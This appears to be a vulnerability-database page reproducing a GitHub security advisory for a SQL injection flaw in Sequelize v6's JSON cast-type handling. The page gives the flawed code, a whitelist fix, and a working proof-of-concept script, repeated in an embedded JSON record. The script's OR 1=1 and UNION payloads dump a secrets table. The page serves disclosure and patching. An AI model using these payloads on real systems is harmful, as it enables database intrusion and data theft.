GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-6457-6JRX-69CR

Vulnerability from github – Published: 2026-03-11 00:18 – Updated: 2026-03-11 00:18
VLAI
Summary
Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type
Details

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

return `CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);

if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
  throw new Error(`Invalid cast type: ${cast}`);
}

PoC

npm install sequelize@6.37.7 sqlite3

const { Sequelize, DataTypes } = require('sequelize');

async function main() {
  const sequelize = new Sequelize('sqlite::memory:', { logging: false });

  const User = sequelize.define('User', {
    username: DataTypes.STRING,
    metadata: DataTypes.JSON,
  });

  const Secret = sequelize.define('Secret', {
    key: DataTypes.STRING,
    value: DataTypes.STRING,
  });

  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'alice', metadata: { role: 'admin', level: 10 } },
    { username: 'bob',   metadata: { role: 'user',  level: 5 } },
    { username: 'charlie', metadata: { role: 'user', level: 1 } },
  ]);

  await Secret.bulkCreate([
    { key: 'api_key', value: 'sk-secret-12345' },
    { key: 'db_password', value: 'super_secret_password' },
  ]);

  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}

main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]

Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: { metadata: req.body.filter }  // user controls JSON object keys
  });
  res.json(users);
});
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.37.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sequelize"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0-beta.1"
            },
            {
              "fixed": "6.37.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30951"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:18:48Z",
    "nvd_published_at": "2026-03-10T21:16:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS \u003ctype\u003e)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n    let cast;\n    if (path[path.length - 1].includes(\"::\")) {\n      const tmp = path[path.length - 1].split(\"::\");\n      cast = tmp[1];       // attacker-controlled, no escaping\n      path[path.length - 1] = tmp[0];\n    }\n    // ...\n    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** \u2014 whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n  \u0027integer\u0027, \u0027text\u0027, \u0027real\u0027, \u0027numeric\u0027, \u0027boolean\u0027, \u0027date\u0027,\n  \u0027timestamp\u0027, \u0027timestamptz\u0027, \u0027json\u0027, \u0027jsonb\u0027, \u0027float\u0027,\n  \u0027double precision\u0027, \u0027bigint\u0027, \u0027smallint\u0027, \u0027varchar\u0027, \u0027char\u0027,\n]);\n\nif (cast \u0026\u0026 !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n  throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require(\u0027sequelize\u0027);\n\nasync function main() {\n  const sequelize = new Sequelize(\u0027sqlite::memory:\u0027, { logging: false });\n\n  const User = sequelize.define(\u0027User\u0027, {\n    username: DataTypes.STRING,\n    metadata: DataTypes.JSON,\n  });\n\n  const Secret = sequelize.define(\u0027Secret\u0027, {\n    key: DataTypes.STRING,\n    value: DataTypes.STRING,\n  });\n\n  await sequelize.sync({ force: true });\n\n  await User.bulkCreate([\n    { username: \u0027alice\u0027, metadata: { role: \u0027admin\u0027, level: 10 } },\n    { username: \u0027bob\u0027,   metadata: { role: \u0027user\u0027,  level: 5 } },\n    { username: \u0027charlie\u0027, metadata: { role: \u0027user\u0027, level: 1 } },\n  ]);\n\n  await Secret.bulkCreate([\n    { key: \u0027api_key\u0027, value: \u0027sk-secret-12345\u0027 },\n    { key: \u0027db_password\u0027, value: \u0027super_secret_password\u0027 },\n  ]);\n\n  // TEST 1: WHERE clause bypass\n  const r1 = await User.findAll({\n    where: { metadata: { \u0027role::text) or 1=1--\u0027: \u0027anything\u0027 } },\n    logging: (sql) =\u003e console.log(\u0027SQL:\u0027, sql),\n  });\n  console.log(\u0027OR 1=1:\u0027, r1.map(u =\u003e u.username));\n  // Returns ALL rows: [\u0027alice\u0027, \u0027bob\u0027, \u0027charlie\u0027]\n\n  // TEST 2: UNION-based cross-table exfiltration\n  const r2 = await User.findAll({\n    where: {\n      metadata: {\n        \u0027role::text) and 0 union select id,key,value,null,null from Secrets--\u0027: \u0027x\u0027\n      }\n    },\n    raw: true,\n    logging: (sql) =\u003e console.log(\u0027SQL:\u0027, sql),\n  });\n  console.log(\u0027UNION:\u0027, r2.map(r =\u003e `${r.username}=${r.metadata}`));\n  // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,\u0027$.role\u0027) AS TEXT) OR 1=1--) = \u0027anything\u0027;\nOR 1=1: [ \u0027alice\u0027, \u0027bob\u0027, \u0027charlie\u0027 ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n  FROM `Users` AS `User`\n  WHERE CAST(json_extract(`User`.`metadata`,\u0027$.role\u0027) AS TEXT) AND 0\n  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = \u0027x\u0027;\nUNION: [ \u0027api_key=sk-secret-12345\u0027, \u0027db_password=super_secret_password\u0027 ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** \u2014 Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post(\u0027/api/users/search\u0027, async (req, res) =\u003e {\n  const users = await User.findAll({\n    where: { metadata: req.body.filter }  // user controls JSON object keys\n  });\n  res.json(users);\n});\n```",
  "id": "GHSA-6457-6jrx-69cr",
  "modified": "2026-03-11T00:18:48Z",
  "published": "2026-03-11T00:18:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69cr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30951"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sequelize/sequelize"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…